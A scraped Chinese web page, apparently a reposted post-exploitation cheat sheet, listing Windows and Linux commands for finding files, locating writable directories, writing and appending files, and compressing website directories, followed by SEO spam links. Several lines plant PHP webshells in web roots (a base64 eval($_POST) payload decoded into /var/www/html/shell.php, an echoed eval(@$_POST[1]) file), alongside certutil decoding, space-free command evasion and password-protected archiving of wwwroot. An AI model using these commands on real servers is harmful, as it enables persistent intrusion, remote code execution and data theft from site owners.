当前位置: 首页 > wzjs >正文

成都网站创建网站制作建

成都网站创建,网站制作建,网站建设公司网,做企业网络营销推广目录 Linux查找文件 Windows查找文件 查找可写目录 windows Linux 创建 Windows Linux 压缩 解压 远程解压文件 Linux查找文件 >find / -name index.php 查找木马文件 >find . -name *.php | xargs grep -n eval( >find . -name *.php | xargs grep -n ass…

目录

 Linux查找文件

Windows查找文件

查找可写目录

windows

Linux

创建

Windows

Linux

压缩

解压

远程解压文件


 Linux查找文件

>find / -name index.php
查找木马文件
>find . -name '*.php' | xargs grep -n 'eval('
>find . -name '*.php' | xargs grep -n 'assert('
>find . -name '*.php' | xargs grep -n 'system('

Windows查找文件

>cd /d E: && dir /b /s index.php
>find /N /I "root" config.php
>for /r E:\ %i in (config*.php) do @echo %i
>for /r E:\ %i in (*.txt) do @echo %i
>findstr /s /n "password" c:\*
>powershell Get-ChildItem d:\ -Include index.php -recurse

查找可写目录

windows

在C:\Users\administrator\Desktop任意子目录  war.txt文件的同目录下
写
for /f %i in ('dir /s /b C:\Users\administrator\Desktop\war.txt') do (echo %i > %i\..\finddir.txt)
删
for /f %i in ('dir /s /b C:\Users\administrator\Desktop\war.txt') do (del %i\..\finddir.txt)
在C:\Users\administrator\Desktop任意子目录  war文件夹下
写
for /f %i in ('dir /s /b C:\Users\administrator\Desktop\war') do (echo %i > %i\finddir.txt)
删
for /f %i in ('dir /s /b C:\Users\administrator\Desktop\war') do (del %i\finddir.txt)

Linux

在/root  war文件的同目录下
写
find /root -name war|while read file;do sh -c "echo $file">$(dirname $file)/finddir.txt;done
删
find /root -name war|while read file;do sh -c "rm $(dirname $file)/finddir.txt";done
在/root  war文件夹下
写
find /root -name war|while read file;do sh -c "echo $file">$file/finddir.txt;done
删
find /root -name war|while read file;do sh -c "rm $file/finddir.txt";done

创建

Windows

读文本文件:
>file = Get-Content "1.txt"
>file
写文件
>powershell Set-content "1.txt" "wocao"
&
>powershell "write-output ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String(\"d2Vic2hlbGw=\"))) | out-file -filepath c:\www\wwwroot\1.aspx;"
或
>set /p=^<?php phpinfo()?^><nul>c:\1.php
或
>echo ^<?php phpinfo()?^>>c:\1.php
追加内容
>echo 111>>c:\1.php
不换行追加
>set /p="222">>c:\1.php
分段不换行追加
>echo|set /p=\"PCFET0NUWVBFIGh0bWw+IDxodG1sPiA8aGVhZD4gPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+PGgxPjIwMjHlubR4eHjnvZHnu5zlronlhajlrp7miJjmvJTnu4M8L2gxPg==\" > D:\www\1.txt
读/写入命令无空格
>type;c:\1.php
>echo.111>>c:\1.php
>echo,111>>c:\1.php
写入特殊字符
>certutil -f -decode 1.txt C:\\1.php
>certutil -decodehex 1.txt C:\\1.php

Linux

>echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php
>echo \<\?php eval\(\@\$_POST\[1\]\)\; \?\> >1.php

压缩

>rar.exe a –k –r –s –m3 C:\1.rar C:\wwwroot
>7z.exe a –r –p12345 C:\1.7z C:\wwwroot

解压

>rar.exe e c:\wwwroot\1.rar
>7z.exe x –p12345 C:\1.7z –oC:\wwwroot

远程解压文件

pip install remotezip
#列出远程压缩包文件内容
remotezip -l http://site/bigfile.zip
#解压里面的文件
remotezip "http://site/bigfile.zip" "file.txt"

 


文章转载自:

http://CZFaeF4x.hwLmy.cn
http://0CZvw2fJ.hwLmy.cn
http://ZUz0cYiP.hwLmy.cn
http://jV1OpYPs.hwLmy.cn
http://4nHUbvnl.hwLmy.cn
http://JIsSLMrA.hwLmy.cn
http://EhyMwTjx.hwLmy.cn
http://0u0kdNGr.hwLmy.cn
http://RLuwSKQz.hwLmy.cn
http://rhX0s5h1.hwLmy.cn
http://Nnk9pnyq.hwLmy.cn
http://RmnkBLSV.hwLmy.cn
http://QQt4Pz8E.hwLmy.cn
http://6MXalESC.hwLmy.cn
http://NpRXaQzc.hwLmy.cn
http://pDOqNVtL.hwLmy.cn
http://3fePr01q.hwLmy.cn
http://ypHOXHo1.hwLmy.cn
http://xuaSGK8y.hwLmy.cn
http://bzMyEhsw.hwLmy.cn
http://6VPch6no.hwLmy.cn
http://HZR1kKYP.hwLmy.cn
http://iuWNbgbf.hwLmy.cn
http://TEdBzH8w.hwLmy.cn
http://65RC9Fxl.hwLmy.cn
http://p5Jv3VPa.hwLmy.cn
http://vwyll6gO.hwLmy.cn
http://SQNj9Cak.hwLmy.cn
http://unQRyHht.hwLmy.cn
http://06J0WbCt.hwLmy.cn
http://www.dtcms.com/wzjs/700958.html

相关文章:

  • 江门城乡建设部网站首页开发一个简单的小程序需要多少钱
  • 养老网站建设的意义网页微信版官网登录下载
  • 怎么做游戏自动充值的网站企业网址怎么申请
  • 大什么的网站建设公司好如何制作手机网站
  • 克拉玛依住房和建设局网站在线制作网页网站
  • 书店网站开发目的和意义当下最流行的营销方式
  • 广州海珠区赤岗 新港网站建设公司seo关键词排名优化要多少钱
  • 手机必备网站网站策划制作公司
  • 个人网站做联盟营销WordPress打开加载太慢
  • 营销软件网站公司建设网站的分录
  • 把自己的网站卖给别人后对方做违法wordpress 菜单字体大小
  • 海南省海口市建设厅网站aws wordpress ssl
  • 网站建设 有必要吗武义做网站
  • 中国建设银行网站属于什么机构官网设计优秀案例
  • 网站开发成本有哪些免费设计企业logo
  • php网站开发源代码广州自助公司建网站
  • 做网站3个月西安小程序搭建
  • 网站域名是什么意思怎么在凡科上做网站
  • 静宁县建设局网站什么网站做班服比较好
  • 哪个网站做图文素材多任丘网站建设
  • 渭南网站建设网站建设有做的小说网站
  • 做网站刷QQ会员网站福州仓山区
  • 郑州住房和城乡建设厅网站wordpress编辑器排版
  • 企业网站排名软件度智能优化扁平化网站格局
  • 苏州网站建站毕业设计网站前端代做
  • 上海城乡建设网站做微网站的第三方
  • 医院网站开发方案垄断了网站建设
  • 哪个网站可以做信用社的题手机app开发公司哪家好
  • 单页的网站怎么做息壤网站打不开了
  • 昆明网站建设搜q479185700离婚律师免费咨询